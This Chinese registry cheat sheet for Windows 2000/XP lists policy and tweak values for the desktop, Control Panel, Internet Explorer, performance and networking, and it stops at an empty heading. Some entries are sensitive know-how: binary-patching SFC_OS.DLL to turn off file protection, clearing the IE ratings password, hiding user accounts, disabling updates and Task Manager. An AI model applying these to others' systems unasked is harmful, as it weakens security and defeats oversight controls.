"{20D04FE0-3AEA-1069-A2D8-08002B30309D}"=dword:00000001(删除所有我的电脑图标)(至少WINXP)
"{450D8FBA-AD25-11D0-98A8-0800361B1103}"=dword:00000001(删除所有我的文档图标)(至少WIN2000)
"{645FF040-5081-101B-9F08-00AA002F954E}"=dword:00000001(删除所有回收站图标)(至少WINXP)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoPropertiesMyComputer"=dword:00000001(删除我的电脑右键菜单的属性)(至少WIN2000SP3)
"NoPropertiesMyDocuments"=dword:00000001(删除我的文档右键菜单的属性)(至少WIN2000SP3)
"NoPropertiesRecycleBin"=dword:00000001(删除回收站右键菜单的属性)(至少WINXP)
"NoRecentDocsNetHood"=dword:00000001(不将打开的共享文件夹添加到网上邻居)(至少WIN2000)
"DisablePersonalDirChange"=dword:00000001(禁止更改我的文档路径)(至少WIN2000)
"NoDesktopCleanupWizard"=dword:00000001(删除桌面清理向导)(至少WINXP)

《组策略\用户配置\管理模板\桌面\活动桌面》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"ForceActiveDesktopOn"=dword:00000001(启用活动桌面,禁止用户关闭)(至少WIN2000)
[注]此设置的优先级比"NoActiveDesktop"要高。
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"Wallpaper"="ab"(指定桌面墙纸的位置,禁止用户更改)(至少WIN2000/ME)
"WallpaperStyle"="0"(0:居中,1:平铺,2:拉伸)(至少WIN2000/ME)

《组策略\用户配置\管理模板\控制面板》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoControlPanel"=dword:00000001(禁止访问控制面板)(至少WIN2000)
"ForceClassicControlPanel"=dword:00000001(强制为传统控制面板样式)(至少WINXP)
"DisallowCpl"=dword:00000001(隐藏指定的控制面板项目)(至少WIN2000)
"RestrictCpl"=dword:00000001(只显示指定的控制面板项目)(至少WIN2000)
[注]以上两项设置需要添加相同名称的子键,然后在子键里面新建字符串,将其值设置为指定的控制面板项目,如desk.cpl、powercfg.cpl等,可以在%WinDir%\System32目录中查找cpl文件。

《组策略\用户配置\管理模板\控制面板\添加/删除程序》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Uninstall]
"NoAddRemovePrograms"=dword:00000001(禁用添加/删除程序)(至少WIN2000)
"NoRemovePage"=dword:00000001(隐藏更改或删除程序页面)(至少WIN2000)
"NoAddPage"=dword:00000001(隐藏添加新程序页面)(至少WIN2000)
"NoWindowsSetupPage"=dword:00000001(隐藏添加/删除Windows组件页面)(至少WIN2000)
"NoAddFromCDorFloppy"=dword:00000001(隐藏从CD-ROM或软盘添加程序选项)(至少WIN2000)
"NoAddFromInternet"=dword:00000001(隐藏从Microsoft添加程序选项)(至少WIN2000)
"NoAddFromNetwork"=dword:00000001(隐藏从网络中添加程序选项)(至少WIN2000)
"NoServices"=dword:00000001(直接打开"组件向导",防止用户使用"添加/删除程序"来配置已安装的服务)(至少WIN2000)
"NoSupportInfo"=dword:00000001(从"更改或删除程序"页面上的程序删除通向"支持信息"对话框的链接)(至少WIN2000)

《组策略\用户配置\管理模板\控制面板\显示》
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Control Panel\Desktop]
"ScreenSaveActive"="0"(禁用屏幕保护程序)(至少WIN2000SP1)
"SCRNSAVE.EXE"="ab"(指定屏幕保护程序文件,将不能通过显示控制面板更改)(至少WIN2000SP1)
"ScreenSaverIsSecure"="0"(禁用)/"1"(启用)(密码保护屏幕保护程序)(至少WIN2000SP1)
"ScreenSaveTimeOut"="900"(指定等待时间,单位秒,范围1-86400,如设为0则不启动,此设置将不能通过显示控制面板更改)(至少WIN2000SP1)



《组策略\用户配置\管理模板\控制面板\显示\桌面主题》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoThemesTab"=dword:00000001(删除显示属性的主题选项)(至少WINXP)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"NoVisualStyleChoice"=dword:00000001(禁止选择外观下的窗口和按钮样式)(至少WINXP)
"NoColorChoice"=dword:00000001(禁止选择外观下的色彩方案)(至少WINXP)
"NoSizeChoice"=dword:00000001(禁止选择外观下的字体大小)(至少WINXP)
"SetVisualStyle"="ab"(加载一个视觉样式文件,如数据为空则强制使用Windows经典)(至少WINXP)

《组策略\用户配置\管理模板\系统》
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System]
"DisableCMD"=dword:00000002(禁用命令提示符及.cmd和.bat文件)(至少WIN2000)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"Shell"="ab"(自定义用户界面,ab代表界面程序文件名)(至少WIN2000)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoAutoUpdate"=dword:00000001(禁用Windows自动更新)(至少WINXP)

《组策略\用户配置\管理模板\系统:只运行许可的Windows应用程序》(所有WINDOWS)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"RestrictRun"=dword:00000001(禁止运行所有程序)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun]
[操作]新建字符串值,名称可以任意,串值为能运行的应用程序,保证"regedit.exe"包含在列表中。

《组策略\用户配置\管理模板\系统:不运行指定的Windows应用程序》(至少WIN2000/ME)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"DisallowRun"=dword:00000001
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun]
[操作]新建字符串值,从"1"开始命名,串值为不运行的应用程序。

《组策略\用户配置\管理模板\系统\Ctrl+Alt+Del选项》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr"=dword:00000001(禁止用户运行任务管理器)(至少WIN2000)
"DisableLockWorkstation"=dword:00000001(禁止用户锁定计算机)(至少WIN2000)
"DisableChangePassword"=dword:00000001(禁止用户改变密码)(至少WIN2000)

《组策略\用户配置\管理模板\系统\登录/注销》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"DisableLocalMachineRun"=dword:00000001(禁用计算机运行列表)(至少WIN2000)
"DisableLocalMachineRunOnce"=dword:00000001(禁用计算机运行一次列表)(至少WIN2000)
"DisableCurrentUserRun"=dword:00000001(禁用用户运行列表)(至少WIN2000)
"DisableCurrentUserRunOnce"=dword:00000001(禁用用户运行一次列表)(至少WIN2000)
[注]各运行列表所在的注册表位置:
计算机运行列表[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
计算机运行一次列表[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
用户运行列表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
用户运行一次列表[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]

《组策略\用户配置\管理模板\系统\登录/注销:限制配置文件大小》(至少WIN2000)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableProfileQuota"=dword:00000001(限制漫游用户配置文件的大小)
"MaxProfileSize"=dword:00007530(Windows默认,漫游用户配置文件的最大值,单位KB)
"IncludeRegInProQuota"=dword:00000001(文件列表中包含注册表)
"WarnUser"=dword:00000001(超出容量限制时通知用户)
"ProfileQuotaMessage"="ab"(超出容量限制时通知用户的提示信息)
"WarnUserTimeout"=dword:0000000f(Windows默认,提醒用户间隔时间,单位:分钟)

《组策略\用户配置\管理模板\系统\电源管理》
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Power]
"PromptPasswordOnResume"=dword:00000001(从休眠/挂起恢复时提示输入密码)(至少WINXP)

《组策略\计算机配置\Windows设置\安全设置\本地策略\安全选项》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"dontdisplaylastusername"=dword:00000001(不显示上次登陆的用户名)(至少WIN2000)
"shutdownwithoutlogon"=dword:00000001(允许在未登录前关机)(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001(关机时清理虚拟内存页面文件)(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]
"restrictanonymous"=dword:00000001(不允许SAM帐户和共享的匿名枚举)(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters]
"DisablePasswordChange"=dword:00000001(禁止更改机器帐户密码)(至少WIN2000)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Providers\LanMan Print Services\servers]
"addprinterdrivers"=dword:00000001(防止用户安装打印机驱动程序)(至少WIN2000)

《组策略\计算机配置\管理模板\系统》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer]
"NoEncryptOnMove"=dword:00000001(不自动加密移动到加密文件夹中的文件)
[注]这个策略只适用于在一个卷中移动的文件。文件被移到其它文件夹,或在加密文件夹中创建了一个新文件,Windows 资源管理器会自动加密那些文件。

《组策略\计算机配置\管理模板\系统\登录》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"LogonType"=dword:00000000(总是用传统登录)(至少WINXP)

《组策略\计算机配置\管理模板\系统\组策略》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"DisableBkGndGroupPolicy"=dword:00000001(关闭组策略的后台刷新)(至少WIN2000)

《组策略\计算机配置\管理模板\系统\Windows文件保护》
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Windows File Protection]
"SfcQuota"=dword:00000032(Windows文件保护缓存的最大值,单位MB)(至少WINXP)
"SFCDllCacheDir"="ab"(Windows文件保护缓存的位置)(至少WINXP)
《清理文件右键菜单"打开方式"列表》(WIN2000/ME/XP)
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
[操作]在要清理的文件类型对应的子键下,删除OpenWithList子键中相关子键。
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts]
[操作]在要清理的文件类型对应的子键下,删除OpenWithList和OpenWithProgids子键中相关键值。
[注]以上三项,只要有一项定义,就会在打开方式列表中显示。

《把桌面"我的电脑"放在"我的文档"之上》(WIN2000/ME/XP)
[HKEY_CLASSES_ROOT\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}]
"SortOrderIndex"=dword:00000054(默认值:48)

《在桌面上显示Windows版本号》(WIN2000/XP)
[HKEY_CURRENT_USER\Control Panel\Desktop]
"PaintDesktopVersion"=dword:00000001

《取消WINXP对图片文件的强制关联》
[HKEY_CLASSES_ROOT\SystemFileAssociations\image\ShellEx\ContextMenuHandlers\ShellImagePreview]
[操作]删除"默认"键值的数据:{e84fda7c-1d6a-45f6-b725-cb260c236066}。
[注]也可以通过命令行来禁止图片预览功能:regsvr32 /u zipfldr.dll。

《改变缩略图的大小和质量》(WIMXP)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"ThumbnailSize"=dword:xxxxxxxx(大小,取值范围为十进制32-256)
"ThumbnailQuality"=dword:xxxxxxxx(质量,取值范围为十进制50-100)

《禁止生成缩略图缓冲文件Thumbs.db》(WIMXP)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
"DisableThumbnailCache"=dword:00000001

《WINXP使用WIN2000的搜索界面》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState]
"Use Search Asst"="no"(no禁止搜索代理,yes允许搜索代理)

《用户操作历史记录》(WIN2000/XP)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU](程序最近运行的历史记录)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\OpenSaveMRU](打开与保存的文件历史记录)

《Windows保存上次最后打开的注册表键的位置》(WIN2000/XP)
[HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Applets/Regedit]
"LastKey"="ab"(ab为注册表键名)
[注] 如将此子键的权限设为当前用户拒绝访问,则regedit不会保留上次打开的键(记忆功能),但同时也禁用了收藏夹功能。可以先在 [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets]下新建 一个Favorites子键,然后再按上例方法将Regedit项的权限设为拒绝,这样既可禁止注册表编辑器的记忆功能,又不会影响收藏夹的使用。

《注册表编辑器收藏夹的存放位置》(WIN2000/XP)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Applets\Regedit\Favorites]

《在"服务"中删除不需要的服务》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services]
[操作]删除相关子键,重新启动生效。

《自定义WINXP的时间服务》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\DateTime\Servers]
"3"="ab"(增加时间校正服务器,可以增加多个,ab表示服务器网址)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient]
"SpecialPollInterval"=dword:xxxxxxxx(同步时间间隔。单位:秒,默认为十进制604800,即一周)

《自定义数字(Num Lock)键状态》(WIN2000/XP)
[HKEY_CURRENT_USER\Control Panel\Keyboard]
"InitialKeyboardIndicators"="2"(打开)/"0"(关闭)

《在登录WINXP的欢迎屏幕上隐藏某些用户》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList]
[操作]新建DWORD值,名称为需要隐藏的用户名,把值设为0即可隐藏该用户。
[注]可以通过此方法显示Administrator帐户,对应的DWORD值为1。

《禁用登录对话框中选项按钮》(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShowLogonOptions"=dword:00000000

《不使用AUTOEXEC.BAT中的环境变量》(WINNT/2000/XP)
[HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ParseAutoexec"="0"

《保留复制和移动的文件原来的NTFS权限》(WINNT/2000/XP)
[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"ForceCopyAclwithFile"=dword:00000001
[注]默认情况下,当复制或移动文件或文件夹到另一个文件夹时,它会继承新文件夹的权限。

《禁止EFS加密功能》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\EFS]
"EfsConfiguration"=dword:00000001
[注] 如果不想完全禁止Windows XP的文件加密功能,但希望特定的文件夹能够不被加密,可以在此文件夹中新建一个文本文件,命名为Desktop.ini,内容包括" [Encryption]"和"Disable=1"两行。这样,当其他用户试图加密该文件夹时系统将提示用户该文件夹的加密功能被禁止。使用这种方法您 只能禁止用户加密该文件夹,文件夹中的子文件夹将不受保护。

《让"设备管理器"显示更多信息》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment]
"DEVMGR_SHOW_DETAILS"="1"(显示更多设备信息)
"DEVMGR_SHOW_NONPRESENT_DEVICES"="1"(显示隐藏设备)
[注]隐藏设备就是以前安装过但现已被拔走的设备。

《查看系统硬件信息》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System](查看主板BIOS信息)
[HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0](查看CPU信息)

《加快关机速度》(WIN2000/XP)
[HKEY_CURRENT_USER\Control Panel\Desktop]
"AutoEndTasks"="1"(自动关闭停止响应的程序)
"HungAppTimeout"="200"(程序出错时等待时间,单位:毫秒,默认值5000)
"WaitToKillAppTimeout"="1000"(关闭程序时等待时间,单位:毫秒,默认值20000)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]
"WaitToKillServiceTimeout"="1000"(关闭服务时等待时间,单位:毫秒,默认值20000)

《减少WINXP开机滚动条时间》
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters]
"EnablePrefetcher"=dword:00000001

《提升系统内核的性能》(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"DisablePagingExecutive"=dword:00000001
[注]默认情况下,Windows会把系统内核写入硬盘,这个设置就是通过禁用内存页面调度(Paging Executive),让数据保留在内存中,从而提升系统性能。建议拥有很多内存的用户(256M以上)使用这个设置。

《提升系统缓存》
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"LargeSystemCache"=dword:00000001
[注]通常来说,该优化会使系统性能得到相当的提升,但也有可能会使某些应用程序性能降低。需要注意的是必须有256M以上的内存,激活LargeSystemCache才能起到正面作用。

《修改CPU二级缓存》(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"SecondLevelDataCache"=dword:xxxxxxxx(单位:KB)

《增加磁盘缓存》(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"IoPageLockLimit"=dword:xxxxxxxx(单位:KB)
[注]不同内存取不同的数值,64M:00001000;128M:00004000;256M:00010000;512M或更大:00040000。据说此法可以降低BT下载对硬盘的伤害。

《关闭文件保护(SFC)》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
"SFCDisable"=dword:ffffff9d(彻底关闭。1为关闭但下次提示开启,2为仅下次启动时关闭,4为开启但提示关闭)
[注] 若要使设置在WIN2000SP2及WINXP有效,必须分别修改SFC.DLL和SFC_OS.DLL文件。对于WIN2000SP2,修改 SFC.DLL中6211h的值"8B C6"为"90 90";对于WINXP,修改SFC_OS.DLL中E2B8h的值"8B C6""为"90 90";对于WINXPSP1,修改SFC_OS.DLL中E3BBh的值"8B C6""为"90 90"。

《WINXPSP2多用户同时登录》
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Terminal Server\Licensing Core]
"EnableConcurrentSessions"=dword:00000001
[注]这样的并发连接最多支持两个用户同时登录一个系统,并且不能使用相同的帐号。利用该功能,在本地电脑使用Windows XP的同时,可允许另外一个用户通过远程桌面进入系统同时使用Windows XP,而不必在远程桌面登录时让本地用户退出。

《程序出错时系统自动重新启动外壳程序》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoRestartShell"=dword:00000001(默认值)

《解决无法实现软关机的故障》(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"PowerdownAfterShutdown"="1"

《解决汉字乱码现象》(WIN2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FontAssoc]
[操作]可能是注册表中与字体相关的数据出错所致,简便方法是:在另一台正常显示的计算机中将上面的内容导出到一个reg文件中,然后将该文件拷贝导出现乱码的计算机中,双击该文件将其导入注册表即可。

注册表网络设置

《"Internet选项"控制面板》
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel]
"GeneralTab"=dword:00000001(禁用常规页面)
"SecurityTab"=dword:00000001(禁用安全页面)
"PrivacyTab"=dword:00000001(禁用隐私页面)
"ContentTab"=dword:00000001(禁用内容页面)
"ConnectionsTab"=dword:00000001(禁用连接页面)
"ProgramsTab"=dword:00000001(禁用程序页面)
"AdvancedTab"=dword:00000001(禁用高级页面)
"HomePage"=dword:00000001(禁止更改主页设置)
"Cache"=dword:00000001(禁止更改Internet临时文件设置)
"History"=dword:00000001(禁止更改历史记录设置)
"Colors"=dword:00000001(禁止更改颜色设置)
"links"=dword:00000001(禁止更改链接颜色设置)
"Fonts"=dword:00000001(禁止更改字体设置)
"Languages"=dword:00000001(禁止更改语言设置)
"Accessibility"=dword:00000001(禁止更改辅助功能设置)
"Ratings"=dword:00000001(禁止更改分级设置)
"Certificates"=dword:00000001(禁止更改证书设置)
"FormSuggest"=dword:00000001(禁用表单的自动完成)
"FormSuggest Passwords"=dword:00000001(禁止自动完成功能保存密码)
"Profiles"=dword:00000001(禁止更改配置文件助理设置)
"Connwiz Admin Lock"=dword:00000001(禁用Internet连接向导)
"Connection Settings"=dword:00000001(禁止更改连接设置)
"Autoconfig"=dword:00000001(禁止更改局域网设置中的自动配置设置)
"Proxy"=dword:00000001(禁止更改局域网设置中的代理服务器设置)
"Messaging"=dword:00000001(禁止更改电子邮件、新闻组和Internet呼叫设置)
"CalendarContact"=dword:00000001(禁止更改日历和联系人的设置)
"ResetWebSettings"=dword:00000001(禁用重置Web设置)
"Check_If_Default"=dword:00000001(禁止更改默认浏览器检查)
"Advanced"=dword:00000001(禁止更改高级页面的设置)

《Internet Explorer》
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions]
"NoBrowserContextMenu"=dword:00000001(禁用鼠标右键菜单)
"NoOpeninNewWnd"=dword:00000001(禁用"在新窗口中打开"菜单项)
"NoSelectDownloadDir"=dword:00000001(禁用"目标另存为"及"将该程序保存到磁盘"选项)
[注]以下设置仅对IE浏览器有效,而对IE核心的其它浏览器无效。
"NoFavorites"=dword:00000001(隐藏收藏夹)
"NoFileNew"=dword:00000001(禁用"文件"菜单的"新建"菜单项目)
"NoFileOpen"=dword:00000001(禁用"文件"菜单的"打开"菜单项)
"NoBrowserSaveAs"=dword:00000001(禁用"文件"菜单的"另存为"菜单项)
"NoBrowserClose"=dword:00000001(禁用"文件"菜单的关闭浏览器和资源管理器窗口)
"NoBrowserOptions"=dword:00000001(禁用"工具"菜单的"Internet选项"菜单项)
"NoViewSource"=dword:00000001(禁用"查看"菜单的"源文件"菜单项)
"NoTheaterMode"=dword:00000001(禁用"查看"菜单的"全屏显示"菜单项)
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions]
"NoBrowserSaveWebComplete"=dword:00000001(禁用"文件"菜单的另存为"网页,全部"格式)
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer]
"DisableImportExportFavorites"=dword:00000001(禁止导入和导出收藏夹)
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoToolbarCustomize"=dword:00000001(禁用自定义IE工具栏按钮)
"NoBandCustomize"=dword:00000001(禁用自定义IE工具栏)

《管理员认可的控件》
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\AllowedControls]
"{22D6F312-B0F6-11D0-94AB-0080C74C7E95}"=dword:00000000(Windows Media Player)
"{05589FA1-C356-11CE-BF01-00AA0055595A}"=dword:00000000(ActiveMovie控件)
"{D27CDB6E-AE6D-11cf-96B8-444553540000}"=dword:00000000(Shockwave Flash)
"{275E2FE0-7486-11D0-89D6-00A0C90C9B67}"=dword:00000000(MCSiMenu)
"{7823A620-9DD9-11CF-A662-00AA00C066D2}"=dword:00000000(弹出式菜单对象)
"{F5131C24-E56D-11CF-B78A-444553540000}"=dword:00000000(Ikonic菜单控件)
"{2D360201-FFF5-11D1-8D03-00A0C959BC0A}"=dword:00000000(DHTML编辑控件)
"{DED22F57-FEE2-11D0-953B-00C04FD9152D}"=dword:00000000(CarPoint自动报价器控件)
"{D45FD31B-5C6E-11D1-9EC1-00C04FD7081F}"=dword:00000000(Microsoft Agent控件)
"{D6526FE0-E651-11CF-99CB-00C04FD64497}"=dword:00000000(MSChat控件)
"{AE24FDAE-03C6-11D1-8B76-0080C744F389}"=dword:00000000(Microsoft Scriptlet组件)
"{BD1F006E-174F-11D2-95C0-00C04F9A8CFA}"=dword:00000000(Microsoft Survey控件)
"{2FF18E10-DE11-11D1-8161-00A0C90DD90C}"=dword:00000000(MSNBC News Control)
"{26F24A93-1DA2-11D0-A334-00AA004A5FC5}"=dword:00000000(NetShow文件传输控件)
"{9276B91A-E780-11d2-8A8D-00C04FA31D93}"=dword:00000000(MSN Investor Chart控件)
"{52ADE293-85E8-11D2-BB22-00104B0EA281}"=dword:00000000(MS Investor Ticker)

《"安全区域"策略》
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
"Security_HKLM_only"=dword:00000001(所有用户使用同一安全区域信息)
"Security_options_edit"=dword:00000001(禁止所有用户更改安全区域设置)
"Security_zones_map_edit"=dword:00000001(禁止所有用户添加或删除安全区域中的站点)

《代理服务器设置应用于所有用户》
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxySettingsPerUser"=dword:00000000

《禁止IE自动安装组件》
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions]
"NoJITSetup"=dword:00000001

《禁止定期检查IE软件更新》
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions]
"NoUpdateCheck"=dword:00000001
[注]默认情况下,IE每隔30天检查一次是否有新版本,如果有,则向用户发出通知。

《禁止默认共享》(WINNT/2000/XP)
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
"AutoShareServer"=dword:00000000(Server)
"AutoShareWks"=dword:00000000(Professional)

《一个网卡多个IP》
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\NetTrans\0000(0001...)](WIN9X)
[操作]找到一个包含真实IP的子键,修改字符串值"IPAddress"、"IPMask",每个IP地址之间加","号,如:
"IPAddress"="192.168.1.6,192.168.1.8"
"IPMask"="255.255.255.0,255.255.255.0"
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces](WIN2000/XP)
[操作]找到一个包含真实IP的子键,修改多字符串值"IPAddress"、"SubnetMask",添加IP及对应的子网掩码。

《修改网卡MAC地址》
[HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Class\Net\0000(/0001/0002...)](WIN9X)
"NetworkAddress"="xxxxxxxxxxxx"
[HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318} \0000(/0001/0002...)](WIN2000/XP)
"NetworkAddress"="xxxxxxxxxxxx"

《定制IE标题》
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Window Title"="ab"

《显示"频道栏"》
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main]
"Show_ChannelBand"="yes"

《设置IE背景位图》
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Toolbar]
"BackBitmap"/"BackBitmapIE5"="ab"

《清理IE右键菜单》
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt]
[操作]删除相关主键。

《清理IE地址栏历史记录》
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\TypedUrls]
[注]如只清理单个条目,则必须重新从1开始不间断排序,否则间断以后的部分将不能在地址栏显示。

《清理IE工具栏》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Toolbar]
[操作]删除相关键值。

《清理IE工具栏按钮》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Extensions]
[操作]删除相关主键。

《IE自动搜索字符串》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\UrlTemplate]

《定制IE地址简写名称》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AboutURLS]
[操作]新建字符串值,名称为网址简写名称,数据为要转到的网址。以后在IE地址栏输入:about:<简称>,就可以直接到达该网址。
[注]IE的空白网页,取消浏览的网页,出错网页等都在这里定义。

《重新安装IE》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer]
[操作]把字符串"Version"的数据值改成比要安装的版本小。

《重新安装IE(适用于同一版本)》
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}]
"IsInstalled"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}]
"IsInstalled"=dword:00000000

《清除IE分级审查密码》
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Ratings]
[操作]WIN9X:删除键值"Key",再删除%WINDIR%\SYSTEM目录里的RATINGS.POL文件。
WIN2000/XP:删除此主键下所有键值及子键即可。

《让IE同时下载多个文件》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MaxConnectionsPerServer"=dword:0000000a(IE能同时下载10个文件)
"MaxConnectionsPer1_0Server"=dword:0000000a(对于HTTP 1.0服务器)
[注]默认情况下,IE只能在同一网站同时下载两个文件,不同网站不受限制。

《禁止/允许IE下载》
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1803"=dword:00000003(禁止)/00000000(允许)
[注]在Internet选项的安全栏里也可以设置。

《禁止/允许显示flash动画》
